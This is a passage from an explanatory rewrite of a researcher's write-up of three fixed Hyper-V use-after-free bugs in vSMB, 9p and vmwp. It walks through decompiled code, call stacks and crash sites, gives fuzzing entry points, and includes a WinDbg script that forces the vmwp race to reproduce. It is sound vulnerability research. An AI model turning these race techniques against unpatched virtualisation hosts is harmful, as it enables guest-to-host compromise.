long Smb2ValidateCancel(_SRV_WORK_ITEM param_1)is the function that checks whether a cancel request is valid.if (((byte)p_Var7[0x10] & 2) == 0) { // syncchecks a bit in a byte at offset 0x10. If the bit is 0, the request is synchronous.else { // asyncis the other case: asynchronous.if ((ulonglong )(p_Var7 + 0x20) < 0x100000000) {checks that a value at offset 0x20 is below a limit.pvVar8 = Lookup((RfsTable *)(p_Var6 + 0x28),(uint)(ulonglong *)(p_Var7 + 0x20));callsLookupto find the work item in a table, using that value as the key.void * __thiscall Lookup(RfsTable *this,uint param_1)is the lookup function. It takes a table and a number.AcquireSRWLockShared((PSRWLOCK)this);takes a shared lock on the table. A shared lock lets several readers in at once but keeps writers out.pvVar1 = (void *)0x0;starts with a null pointer, meaning "nothing found".- The long
ifchecks that the number is not zero, that it is within the table's size, that the slot holds a non-null pointer, and that a callback pointer exists. (**(code **)(this + 0x48))();calls that callback.ReleaseSRWLockShared((PSRWLOCK)this);releases the lock.return pvVar1; // we return plain ptr in async mannerreturns the pointer. The comment notes that the pointer is returned in an async manner, meaning the caller gets a raw pointer without any extra protection.
The root cause, as the author states it: you can race ChangeNotify and async Cancel packets. ChangeNotify will try to delete the object as the refcount of its work item drops to 0, but Cancel can race this process while the work item is still found in the lookup list. The later execution of the Cancel packet (the async flag was set, and the first phase was just validation of the Cancel packet and looking up, taking the refcounting from 0 back to 1) will then dereference the freed work item. At first sight it all seemed good: refcounting in place, locking too. But the author flags the strange logic of removing an object from a list from the object's own destructor, and notes that it is interesting that an object with refcount 0 can be acquired once it has already acquired refcount of at least 1.
How he fuzzed it: adding a particular flag to the Cancel packet and letting automation do its job, hitting in 5 minutes. He says he looked at that logic with his own eyes before triggering it with the fuzzer and did not find it. The crash site shown is:
vmusrv!SrvFreeWorkItem+0x1bc:
00007ffbc1b127f8 4c397f50 cmp qword ptr [rdi+50h],r15 ds:000002109cd3ed40=????????????????
This is a line of assembly, the low-level language the processor actually runs. vmusrv!SrvFreeWorkItem+0x1bc says the crash happened inside the function SrvFreeWorkItem in vmusrv, 0x1bc bytes past its start. cmp qword ptr [rdi+50h],r15 compares a value in memory at the address in register rdi plus 0x50 with the value in register r15. The ds:000002109cd3ed40=???????????????? part shows the memory address and that its contents are unreadable (question marks), which is what a use-after-free looks like in a debugger.
How to reach it for fuzzing: docker plus vSMB packet rewriting, or loading vmusrv.dll as a standalone library, as in the referenced JPEG2000 and hAFL1 material.
As a bonus, the author describes an older vSMB bug: open a vSMB file, get a predictable file handle, and race open and close with the predictable handle. A file handle is a number the operating system gives you to refer to an open file. If the handle is predictable, an attacker can guess it. The CVE is forgotten, around 2018. He fuzzed it by understanding the target (predictable handle, and the packet being tied to file handles) and adding quirks to the fuzzing: prediction of the handle before its creation, and dangling handles (handles that point to something already closed). He was not especially focused on that logic, just taking it into account, because fuzzing is specific per target.
Step 2: 9p flush exception unwinding (CVE-2021-26867)
The target is vp9fs.dll. Again the author points at Remove:
void operator()( param_1)
…:
TVar2 = operator()(this); // Remove RequestInfo from LinkedList
-> void __thiscall Remove(LinkedList<struct_p9fs::Handler::RequestInfo> *this,RequestInfo *param_1)
…
~((longlong)(param_1 + 0xb0)); // Free RequestInfo*
Line by line:
void operator()( param_1)is a function that takes a parameter.TVar2 = operator()(this); // Remove RequestInfo from LinkedListcalls another function that removes aRequestInforecord from a linked list. A linked list is a chain of records where each one points to the next.- The arrow shows the
Removefunction that does the removal. ~((longlong)(param_1 + 0xb0)); // Free RequestInfo*calls a destructor (the~symbol in C++) on the record, which frees it.
He notes that this looks especially solid, and the order remove then delete looks good. The problem is that for Remove to actually happen, the call stack must look like this:
FLUSH_ENTRYYY
rcx=000001faa4395ef0
REMOVE
rcx=000001faa1158f10
rdx=000001faa4192fe0
Child-SP RetAddr Call Site
00000022`2e97e618 00007ffc`b93d83c0 vp9fs!p9fs::util::LinkedList<p9fs::Handler::RequestInfo>::Remove
00000022`2e97e620 00007ffc`b93d61c3 vp9fs!p9fs::Handler::ProcessMessage$_ResumeCoro$2+0x1240
00000022`2e97ec40 00007ffc`b93afa34 vp9fs!p9fs::Handler::ProcessMessage$_InitCoro$1+0x12f
00000022`2e97ece0 00007ffc`b93cc061 vp9fs!p9fs::Handler::ProcessMessage+0x68
00000022`2e97f140 00007ffc`b93cbcc4 vp9fs!<[redacted]>$_ResumeCoro$2::operator()+0x341
00000022`2e97f410 00007ffc`b93afd56 vp9fs!<[redacted]>$_InitCoro$1::operator()+0xd0
00000022`2e97f480 00007ffc`b93caa73 vp9fs!<[redacted]>::operator()+0x46
00000022`2e97f5f0 00007ffc`b93a6a32 vp9fs!<[redacted]>$_ResumeCoro$2::operator()+0xd3
00000022`2e97f7e0 00007ffc`b93bf641 vp9fs!p9fs::Scheduler::RunAndRelease+0xbe
00000022`2e97f820 00007ffc`cec631e0 vp9fs!p9fs::CoroutineIoIssuer::Callback+0x71
00000022`2e97f850 00007ffc`d0feecd9 KERNELBASE!BasepTpIoCallback+0x50
00000022`2e97f8a0 00007ffc`d0fc2536 ntdll!TppIopExecuteCallback+0x129
00000022`2e97f920 00007ffc`cfa27034 ntdll!TppWorkerThread+0x456
00000022`2e97fc20 00007ffc`d0ffcec1 KERNEL32!BaseThreadInitThunk+0x14
00000022`2e97fc50 00000000`00000000 ntdll!RtlUserThreadStart+0x21
FREE
rbx=000001faa4196fb8
rcx=000001faa4192fe0
Child-SP RetAddr Call Site
00000022`2e97f5c0 00007ffc`b93cb08c vp9fs!<[redacted]>::~<[redacted]>+0xd
00000022`2e97f5f0 00007ffc`b93a6a32 vp9fs!<[redacted]>$_ResumeCoro$2::operator()+0x6ec
00000022`2e97f7e0 00007ffc`b93bf641 vp9fs!p9fs::Scheduler::RunAndRelease+0xbe
00000022`2e97f820 00007ffc`cec631e0 vp9fs!CoroutineIoIssuer::Callback+0x71
00000022`2e97f850 00007ffc`d0feecd9 KERNELBASE!BasepTpIoCallback+0x50
00000022`2e97f8a0 00007ffc`d0fc2536 ntdll!TppIopExecuteCallback+0x129
00000022`2e97f920 00007ffc`cfa27034 ntdll!TppWorkerThread+0x456
00000022`2e97fc20 00007ffc`d0ffcec1 KERNEL32!BaseThreadInitThunk+0x14
00000022`2e97fc50 00000000`00000000 ntdll!RtlUserThreadStart+0x21
This is a call stack, a list of which function called which, from the innermost at the top to the outermost at the bottom. FLUSH_ENTRYYY marks the entry into a flush operation. rcx and rdx are processor registers holding values. REMOVE marks the point where the removal happens. The Child-SP column is the stack pointer, RetAddr is the return address, and Call Site names the function. The top line is vp9fs!p9fs::util::LinkedList<p9fs::Handler::RequestInfo>::Remove, the removal function. Below it are coroutine functions ($_ResumeCoro$2, $_InitCoro$1), which are pieces of code that can pause and resume. Further down are scheduler and thread pool functions from Windows itself (ntdll, KERNELBASE, KERNEL32). The FREE section shows the same kind of stack but with the destructor ~<lambda_...> at the top, meaning the object is being freed.
The author notes that the call stack is quite deep to actually reach Remove, but here comes the magic of C++ and throwing exceptions before reaching Remove. An exception is an error signal that jumps out of the normal flow. The resulting stack is:
FLUSH_ENTRYYY
rcx=000001faa43a1ef0
onecore\vm\dv\storage\plan9\dll\windows\p9io.cpp(128)\vp9fs.dll!00007FFCB93DFFCF: (caller: 00007FFCB93DF71A) Exception(1) tid(f9c) 800703E3 The I/O operation has been aborted because of either a thread exit or an application request.
(6c0.f9c): C++ EH exception - code e06d7363 (first chance)
(6c0.f9c): C++ EH exception - code e06d7363 (first chance)
(6c0.f9c): C++ EH exception - code e06d7363 (first chance)
(6c0.f9c): C++ EH exception - code e06d7363 (first chance)
onecore\vm\dv\storage\plan9\dll\p9handler.cpp(1039)\vp9fs.dll!00007FFCB93E562B: (caller: 00007FFCB93CBCC4) LogHr(1) tid(f9c) 800703E3 The I/O operation has been aborted because of either a thread exit or an application request.
Msg:[onecore\vm\dv\storage\plan9\dll\windows\p9io.cpp(128)\vp9fs.dll!00007FFCB93DFFCF: (caller: 00007FFCB93DF71A) Exception(1) tid(f9c) 800703E3 The I/O operation has been aborted because of either a thread exit or an application request.
]
FREE
rbx=000001faa41a2fb8
rcx=000001faa419efe0
Child-SP RetAddr Call Site
00000022`2e97f5c0 00007ffc`b93cb08c vp9fs!<[redacted]>::~<[redacted]>+0xd
00000022`2e97f5f0 00007ffc`b93a6a32 vp9fs!<[redacted]>$_ResumeCoro$2::operator()+0x6ec
00000022`2e97f7e0 00007ffc`b93bf641 vp9fs!p9fs::Scheduler::RunAndRelease+0xbe
00000022`2e97f820 00007ffc`cec631e0 vp9fs!CoroutineIoIssuer::Callback+0x71
00000022`2e97f850 00007ffc`d0feecd9 KERNELBASE!BasepTpIoCallback+0x50
00000022`2e97f8a0 00007ffc`d0fc2536 ntdll!TppIopExecuteCallback+0x129
00000022`2e97f920 00007ffc`cfa27034 ntdll!TppWorkerThread+0x456
00000022`2e97fc20 00007ffc`d0ffcec1 KERNEL32!BaseThreadInitThunk+0x14
00000022`2e97fc50 00000000`00000000 ntdll!RtlUserThreadStart+0x21
Here the stack shows an exception being raised in p9io.cpp at line 128, with the message "The I/O operation has been aborted because of either a thread exit or an application request" and the code 800703E3. The C++ EH exception - code e06d7363 lines are the C++ exception mechanism firing. Then LogHr logs the error. The FREE section again shows the destructor at the top, freeing the object, but no Remove appears in the stack.
In other words, the code bubbles out from an exception (an overload of packets) without removing the struct from the list, but deleting it anyway. The root cause as stated: when exception unwinding happens, it is forgotten to handle proper removal of the object from the list, but at the same time free is done correctly. Exception unwinding is the process of cleaning up as an exception travels up the call stack. The crash site shown is:
vp9fs!p9fs::Handler::HandleFlush$_ResumeCoro$2+0x48c:
00007ff8e2df033c 0fb74918 movzx ecx,word ptr [rcx+18h] ds:000002542129dff8=????????????????
This says the crash happened in HandleFlush inside vp9fs, 0x48c bytes past the start of the resumed coroutine. movzx ecx,word ptr [rcx+18h] reads a 16-bit value from memory at the address in register rcx plus 0x18 into register ecx. The ds:...=???????????????? shows the address and that its contents are unreadable, again the signature of a use-after-free.
How to reach it for fuzzing: tinker with the Linux kernel trans_fd.c code to allow sending packets from the fuzzer, or again load and fuzz standalone.
Step 3: vmwp teardown and VND callback race (CVE-2021-28314)
The target is vmwp.exe. The author gives two hints, one about refcounting and one about locking.
The refcounting hint is the Teardown function:
void __thiscall Teardown(VirtualMachine * this)
1400513bd:
this_00 = *(WorkerCpuidHandler **)(this + 0x240);
if (this_00 != (WorkerCpuidHandler *)0x0) {
puVar7 = *(undefined8 **)(this_00 + 0x30);
while (puVar7 != *(undefined8 **)(this_00 + 0x38)) {
(**(code **)(*(longlong *)(*(longlong *)(this_00 + 0x10) + 8) + 0x38))
((longlong *)(*(longlong *)(this_00 + 0x10) + 8),*puVar7);
puVar7 = puVar7 + 1;
}
*(undefined8 *)(this_00 + 0x38) = *(undefined8 *)(this_00 + 0x30);
TeardownRegisteredResults(this_00);
pIVar5 = (IMetricManager *)(*(longlong *)(this + 0x240) + 8);
DecrementUserCount((VmSharableObject *)
((type_info *)pIVar5 +
*(int *)(*(longlong *)(*(longlong *)(this + 0x240) + 8) + 4)),
(type_info *)pIVar5);
*(undefined8 *)(this + 0x240) = 0;
}
...
00007ff78836ad25 vmwp!WorkerCpuidHandler::`vector deleting destructor'+0x0000000000000035
00007ff7883266ca vmwp!Vml::VmSharableObject::OnLastContainedObjectRemoved+0x000000000000001e
00007ff788322fbf vmwp!Vml::VmSharableObject::DecrementContainedObjectCount+0x000000000000007b
00007ff78832307d vmwp!Vml::VmSharableObject::DecrementWeakUserCount+0x000000000000009d
00007ff788319011 vmwp!Vml::VmSharableObject::DecrementUserCount+0x000000000000630d
00007ff78836141c vmwp!VirtualMachine::Teardown+0x00000000000001d0
00007ff78832973a vmwp!WorkerModule::TeardownVirtualMachine+0x00000000000000ae
00007ff788326bb2 vmwp!WorkerModule::OnVirtualMachinePostFunctional+0x0000000000000012
00007ff7883237fd vmwp!Vml::VmMethodDelegate<WorkerModule,void,Vml::VmReferencePtr<Vml::VmSharableObject,Vml::VmWeakReferenceTraits> >::Execute+0x000000000000002d
00007ff788325b65 vmwp!Vml::VmDispatchContext::Invoke+0x000000000000001d
00007ff788358f6d vmwp!Vml::VmOrderedDispatcher::ProcessQueue+0x000000000000002d
00007ff78835138d vmwp!Vml::VmMethodDelegate<Vml::VmOrderedThreadpoolDispatcher,void>::Execute+0x000000000000005d
00007ff7883238bb vmwp!Vml::VmNewThreadpool::FastDispatchWorkCallback+0x000000000000001b
00007fffcdfd39c0 ntdll!TppWorkpExecuteCallback+0x0000000000000130
00007fffcdf8276a ntdll!TppWorkerThread+0x000000000000068a
00007fffcc1e7034 kernel32!BaseThreadInitThunk+0x0000000000000014
00007fffcdfbcec1 ntdll!RtlUserThreadStart+0x0000000000000021
Line by line:
void __thiscall Teardown(VirtualMachine * this)is the teardown function, which cleans up a virtual machine.this_00 = *(WorkerCpuidHandler **)(this + 0x240);reads a pointer from the virtual machine object at offset 0x240.if (this_00 != (WorkerCpuidHandler *)0x0) {checks that the pointer is not null.puVar7 = *(undefined8 **)(this_00 + 0x30);starts a loop pointer at offset 0x30.while (puVar7 != *(undefined8 **)(this_00 + 0x38)) {loops until the pointer reaches the end marker at offset 0x38.- The long call
(**(code **)(...))(...)calls a function through a pointer, passing the object and the current item. puVar7 = puVar7 + 1;moves to the next item.*(undefined8 *)(this_00 + 0x38) = *(undefined8 *)(this_00 + 0x30);resets the end marker to the start, emptying the list.TeardownRegisteredResults(this_00);cleans up registered results.pIVar5 = (IMetricManager *)(*(longlong *)(this + 0x240) + 8);gets a pointer to a metric manager.DecrementUserCount(...)decrements the user count of a shared object. A shared object is one that several parts of the program can use at once, and the user count tracks how many are using it.*(undefined8 *)(this + 0x240) = 0;clears the pointer.- The stack below shows the call chain:
TeardowncallsDecrementUserCount, which callsDecrementWeakUserCount,DecrementContainedObjectCount,OnLastContainedObjectRemoved, and finally the destructorvector deleting destructor. This is the path that frees the object.
The locking hint is HandleVndCallback and UnprepareSelf:
HandleVndCallback(VndCompletionHandler *this,void *param_1,_VID_MSG_DATA *param_2, _VID_MSG_RETURN_DATA *param_3)
140149ee2:
if (uVar10 != 0x1000010) {
this_00 = *(VmSharableObject **)(param_2 + 8);
*(undefined8 *)(param_2 + 8) = *(undefined8 *)(this_00 + 0x78);
if ((((uVar10 == 1) || (uVar10 == 7)) || (uVar10 == 9)) ||
((0x1000001 < (int)uVar10 &&
(((int)uVar10 < 0x1000004 ||
((0x100000d < (int)uVar10 && (((int)uVar10 < 0x1000010 || (uVar10 == 0x1000011)))))
))))) {
ppcVar12 = *(code ***)(this_00 + 0x80);
if ((uVar10 - 7 & 0xfffffffd) == 0) {
*local_68 = 0;
local_c8 = CONCAT44(local_c8._4_4_,0xffffffff);
ppuVar13 = (undefined **)&DAT_00000002;
iVar8 = VidHandleMessageAndGetNextMessage(param_1,2,&local_68);
if (iVar8 == 0) {
ppuVar13 = (undefined **)0x26e;
Log_Hr(local_res0,0x26e,
"onecore\\vm\\worker\\vidpartition\\vndcompletionhandler.cpp",-0x7fff0001);
iVar8 = VmlIsDebugTraceEnabled(0);
if (iVar8 != 0) {
ppuVar13 = &PTR_u_Unexpected_erro_140195b28;
VmlDebugTraceEx(0);
}
}
DecrementUserCount(this_00,(type_info *)ppuVar13);
}
void __thiscall UnprepareSelf(VND_HANDLER_CONTEXT *this)
{
type_info *in_RDX;
if (*(int *)(this + 0x88) != 0) {
in_RDX = *(type_info **)(this + 0x78);
(**(code **)(**(longlong **)(this + 0x80) + 0x28))(); //-> vmwp!Vml::VmSharableObject::DecrementUserCount
}
000000e2`82eff500 00007ff7`88459d2e vmwp!Vml::VmSharableObject::DecrementUserCount+0x59
000000e2`82eff530 00007ff7`88329a6a vmwp!VND_HANDLER_CONTEXT::UnprepareSelf+0x2e
000000e2`82eff560 00007ff7`883267b0 vmwp!Vml::VmSharableObject::Unprepare+0x1e
000000e2`82eff590 00007ff7`88319009 vmwp!Vml::VmSharableObject::OnLastUserRemoved+0x94
000000e2`82eff5d0 00007ff7`8845a057 vmwp!Vml::VmSharableObject::DecrementUserCount+0x6305
000000e2`82eff600 00007ff7`8845b5ac vmwp!VndCompletionHandler::HandleVndCallback+0x227
000000e2`82eff6f0 00007ff7`8845ac69 vmwp!VndCompletionThread::RunSelf+0x10c
000000e2`82eff760 00007fff`cb9b14c2 vmwp!Vml::VmThread::OnRunThread+0x19
000000e2`82eff790 00007fff`ba186a74 ucrtbase!thread_start<unsigned int (__cdecl*)(void *),1>+0x42
000000e2`82eff7c0 00007fff`cc1e7034 vfbasics!AVrfpStandardThreadFunction+0x44
000000e2`82eff800 00007fff`cdfbcec1 kernel32!BaseThreadInitThunk+0x14
000000e2`82eff830 00000000`00000000 ntdll!RtlUserThreadStart+0x21
Line by line:
HandleVndCallback(...)is the function that handles a callback from the VND component, which is part of the virtualisation stack.if (uVar10 != 0x1000010) {checks that a message type is not a particular value.this_00 = *(VmSharableObject **)(param_2 + 8);reads a shared object pointer from the message.*(undefined8 *)(param_2 + 8) = *(undefined8 *)(this_00 + 0x78);replaces it with a value from the object.- The long
ifchecks whether the message type is one of several values (1, 7, 9, or a range between 0x1000001 and 0x1000011 with some gaps). ppcVar12 = *(code ***)(this_00 + 0x80);reads a function table pointer.if ((uVar10 - 7 & 0xfffffffd) == 0) {checks whether the type is 7 or 9.*local_68 = 0;andlocal_c8 = CONCAT44(local_c8._4_4_,0xffffffff);set up local variables.iVar8 = VidHandleMessageAndGetNextMessage(param_1,2,&local_68);asks the vid driver for the next message.if (iVar8 == 0) {handles the failure case, logging an error withLog_Hrand optionally tracing withVmlDebugTraceEx.DecrementUserCount(this_00,(type_info *)ppuVar13);decrements the user count of the shared object.UnprepareSelfis another function that also callsDecrementUserCountthrough a function pointer, as the comment shows.- The stack below shows
HandleVndCallbackcallingDecrementUserCount, which callsOnLastUserRemoved,Unprepare,UnprepareSelf, andDecrementUserCountagain. This is the path that can race with teardown.
The root cause as the author interprets it: read only state is a beautiful concept he aspires to, but it can have dangers once the design is not ready for it. In this case the developer can see read-only access at HandleCallback and skip doing any lock at all, but in the background there is refcounting. So it may not be obvious for a developer to include a write lock here. But refcounting can race too. The crash site shown is:
vmwp!Vml::VmSharableObject::DecrementUserCount+0x59:
00007ff7`88312d5d 488b07 mov rax,qword ptr [rdi] ds:00000210`a424bfb0=????????????????
This says the crash happened in DecrementUserCount inside vmwp, 0x59 bytes past its start. mov rax,qword ptr [rdi] reads a 64-bit value from the address in register rdi into register rax. The ds:...=???????????????? shows the address and that its contents are unreadable, the use-after-free signature again.
How he fuzzed it: automation, essentially a by-product while fuzzing at scale. He says the discussion of what fuzzing is and why automation is an essential part of fuzzing efforts will be in the next post, and sums this one up as "lucky me".
How to reach it for fuzzing: Hyper-V cmdlets, because turning a VM on and off is something an attacker can do, and an Azure attack is not a Pwn2Own attack. The author notes this is always on the edge, and points to the February 23, 2021 revision at the bottom of the Hyper-V bounty page for turn-off bugs.
Step 4: proof of concept WinDbg script for the vmwp race
The author gives a script as an example of how to make race conditions better demonstrate for repro. The second part of the PoC is turn on plus off VM.
.childdbg 1
g
.logopen sharablebuggy.txt;
r @$t1 = 0
bp vmwp!VirtualMachine::InitInterceptHandlers+0x154 "r @$t1 = @rax+60; g"
bp vmwp!Vml::VmSharableObject::DecrementUserCount+0x59 ".if(@$t1==@rdi+10){.echo RACER_1_FREEZED; bd 1 2; be 4; dqs rdi; r rip = vmwp!Vml::VmSharableObject::DecrementUserCount-2; eb rip eb fe}.else{}; g"
bp vmwp!Vml::VmSharableObject::DecrementUserCount-2 ".echo RACER_1_RESUMED___UAF_TRIGGER; r rip = vmwp!Vml::VmSharableObject::DecrementUserCount+0x59; g"
bu vmwp!VirtualMachine::Teardown+0x1d0-5 ".echo RACER_2_TEARDOWN_FREEZED; bd 3; r rip = vmwp!VirtualMachine::Teardown-2; eb rip eb fe; g"
bp vmwp!VirtualMachine::Teardown-2 ".echo RACER_2_TEARDOWN_RESUMED; r rip = vmwp!VirtualMachine::Teardown+0x1d0-5; g"
bp vmwp!VirtualMachine::Teardown+0x1d0 ".echo [redacted]; be 2; g"
g
Line by line:
.childdbg 1tells the debugger to also debug child processes.gmeans go, that is, let the program run..logopen sharablebuggy.txt;opens a log file calledsharablebuggy.txtso everything is recorded.r @$t1 = 0sets a debugger variable called@$t1to zero.bp vmwp!VirtualMachine::InitInterceptHandlers+0x154 "r @$t1 = @rax+60; g"sets a breakpoint (a pause point) at that address. When hit, it stores the value of registerraxplus 0x60 into@$t1and continues. This records a pointer for later comparison.bp vmwp!Vml::VmSharableObject::DecrementUserCount+0x59 ".if(@$t1==@rdi+10){...}.else{}; g"sets a breakpoint at the crash site. That freezes the first racer. Otherwise it does nothing and continues.- This resumes the first racer.
bu vmwp!VirtualMachine::Teardown+0x1d0-5 ".echo RACER_2_TEARDOWN_FREEZED; bd 3; r rip = vmwp!VirtualMachine::Teardown-2; eb rip eb fe; g"sets a breakpoint that freezes the second racer at teardown, printsRACER_2_TEARDOWN_FREEZED, disables breakpoint 3, and spins.bp vmwp!VirtualMachine::Teardown-2 ".echo RACER_2_TEARDOWN_RESUMED; r rip = vmwp!VirtualMachine::Teardown+0x1d0-5; g"resumes the second racer.bp vmwp!VirtualMachine::Teardown+0x1d0 ".echo [redacted]; be 2; g"marks teardown as finished, prints[redacted], re-enables breakpoint 2, and continues. This is when the use-after-free is triggered.- The final
gstarts the whole thing.
Root cause
Across the three bugs the author identifies the same class of mistake: object lifetime handled by refcounting and list membership, with a window where the two disagree.
- vSMB:
ChangeNotifydeletes the object when the work item refcount drops to 0, while an asyncCancelcan still find the work item in the lookup list and take the refcount from 0 back to 1. The later phase of theCancelpacket then dereferences the freed work item. The author highlights the strange logic of removing an object from a list from the object's own destructor, and that an object with refcount 0 can be acquired once it has already acquired refcount of at least 1. - 9p: when exception unwinding happens, the code forgets to remove the object from the list, but still frees it. The remove then delete order is correct on the normal path, but the exception path skips the remove.
- vmwp: a read-only access path at
HandleCallbackskips locking, but refcounting still happens in the background, so the refcount can race.
The author notes that in all cases the code looks solid and well thought over, and that each bug has some hidden quirk to reach. He also notes that these bugs were not in the obvious fuzzing target logic (files) but at the upper level (work items and packet handling), and that for these bugs using a code coverage based fuzzer can shoot you in the foot at the very least, while code coverage can play an essential role if used appropriately, hinting at weak points of the fuzzer rather than the main logic.
Impact
The author states that all three highlighted bugs are RCE plus UAF. The report does not give CVSS scores or a detailed exploitation narrative beyond the crash sites and the race descriptions. The vSMB and 9p bugs are in host to guest file sharing components for Windows based and Linux based containers respectively, and the vmwp bug is in the per-VM main process. The author notes that most of his bugs are races due to the nature of his fuzzing.
Fix
The author states at the top of the bug section that all bugs discussed in the post are fixed.
Variants to test
- Cancel, flush, remove and other early drop of packet logic in any file sharing or RPC style target. A positive result is a work item that can be looked up after its refcount has reached 0, visible as a lookup returning a pointer that is later dereferenced after free.
- Sync versus async flags on cancel style packets. A positive result is a validation phase that takes a reference and a later execution phase that uses the pointer without revalidating it.
- Exception unwinding paths in C++ coroutine based handlers. A positive result is a stack where the destructor runs and frees the object while the remove from the list never appears in the call stack.
- Read-only access paths that skip locking while refcounting still happens in the background. A positive result is a decrement of a user count racing with a teardown that frees the same object.
- Predictable file handles combined with open and close races, as in the older vSMB bonus bug. A positive result is a dangling handle that is still usable after close.
- Raising the total call limit in coverage guided fuzzing to several thousands and filtering calls per run, as the author did for 9p. A positive result is a crash that only appears with long call sequences.
Closing notes
The author also discusses bounty setbacks: NetBios CVE-2017-0161, SMB2 CVE-2020-17096 (post-auth SMB2 with unsigned packets, paid 5k), Vid.sys CVE-2017-8664 (his first Hyper-V Tier-1 RCE, price tag 50k at the time, later 150), the containers bugs (25k, with the price tag raised to 100k a few months later), RFG and CFG mitigation bypass bounties, and turn-off Hyper-V vulnerabilities considered Tier-3 until proven exploitable. He notes that about 3 of his recent bugs were marked out of scope, and that he reported about 10 Tier-1 bugs recently, including RCEs, memory reads and DoSes, on new attack surface but also traditional one.

The image above sits where the author contrasts the highlighted Tier-2 container bugs with the roughly 10 recent Tier-1 bugs he reported, which included RCEs, memory reads and DoSes.
He argues that the out-of-scope list (NetBios, RDP via enhanced session, WSL2 specifics, RemoteFX, SMB/NTFS kernel bugs direct or through vSMB, WDAG) consists of specific edge cases for particular usage, and asks how much impact they have for the Microsoft core business model, Azure, and whether triggering from the cloud really means it is a Hyper-V design problem. He suggests asking Microsoft through email when the attack surface is unclear.

The image above is an email the author selected from Microsoft, picked from bugs he described in the post, presented as proof that they do deliver. The report does not reproduce the email text.
He thanks kostya for the public breakthrough research that inspired him, and Joe, Nico, Axel, Max and Marco for proof-reading, and Microsoft and MSRC for patience with him and his arguing, and for bounties.
Glossary
- API: Application Programming Interface, a set of rules that lets one piece of software talk to another.
- Async: Asynchronous, an operation that starts now and finishes later, without blocking the caller.
- Azure: Microsoft's cloud computing platform.
- Breakpoint: A point in a program where a debugger pauses execution so you can inspect it.
- Bug bounty: A programme that pays people for finding and reporting security bugs.
- Call stack: The list of functions currently running, from the innermost to the outermost.
- CFG: Control Flow Guard, a Microsoft mitigation that restricts where a program can jump.
- Code coverage: A measurement of which lines of a program were executed during a test.
- Container: A lightweight package of an application and its dependencies that runs in isolation.
- Coroutine: A function that can pause and resume, often used for asynchronous work.
- CVE: Common Vulnerabilities and Exposures, a unique identifier for a publicly known security bug.
- CVSS: Common Vulnerability Scoring System, a standard way to score the severity of a bug.
- Debugger: A tool that lets you pause and inspect a running program.
- Destructor: A function that runs when an object is destroyed, often freeing its memory.
- DLL: Dynamic Link Library, a file containing code that other programs can load and use.
- DoS: Denial of Service, an attack that makes a service unavailable.
- Exception: An error signal that interrupts the normal flow of a program.
- Exception unwinding: The process of cleaning up as an exception travels up the call stack.
- Fuzzing: Feeding a program lots of semi-random inputs to find crashes and bugs.
- Handle: A number the operating system gives you to refer to an open resource such as a file.
- Hyper-V: Microsoft's virtualisation technology that runs virtual machines.
- Linked list: A chain of records where each one points to the next.
- Lock: A mechanism that stops two threads from changing the same data at the same time.
- Memory read: A bug that lets an attacker read memory they should not see.
- Mitigation bypass: A way around a security protection such as CFG or RFG.
- MSRC: Microsoft Security Response Center, the team that handles security reports.
- Pwn2Own: A famous hacking contest where researchers exploit fully patched software.
- Race condition: A bug where the result depends on the timing of two operations.
- RCE: Remote Code Execution, an attack that lets an attacker run their own code on a target.
- Refcount: Reference count, a number tracking how many parts of a program are using an object.
- Register: A small, fast storage location inside a processor.
- RFG: Return Flow Guard, a Microsoft mitigation that protects return addresses.
- RPC: Remote Procedure Call, a way for one program to call code in another, often over a network.
- SMB: Server Message Block, the file-sharing protocol used by Windows.
- Sync: Synchronous, an operation that finishes before the next one starts.
- Tier-1 / Tier-2 / Tier-3: Categories in the Hyper-V bounty with different reward levels.
- UAF: Use After Free, using memory after it has been returned to the system.
- vSMB: A virtualised version of SMB used for file sharing between host and guest.
- WinDbg: Microsoft's debugger for Windows.
- 9p: A file-sharing protocol common in the Linux and Plan 9 world.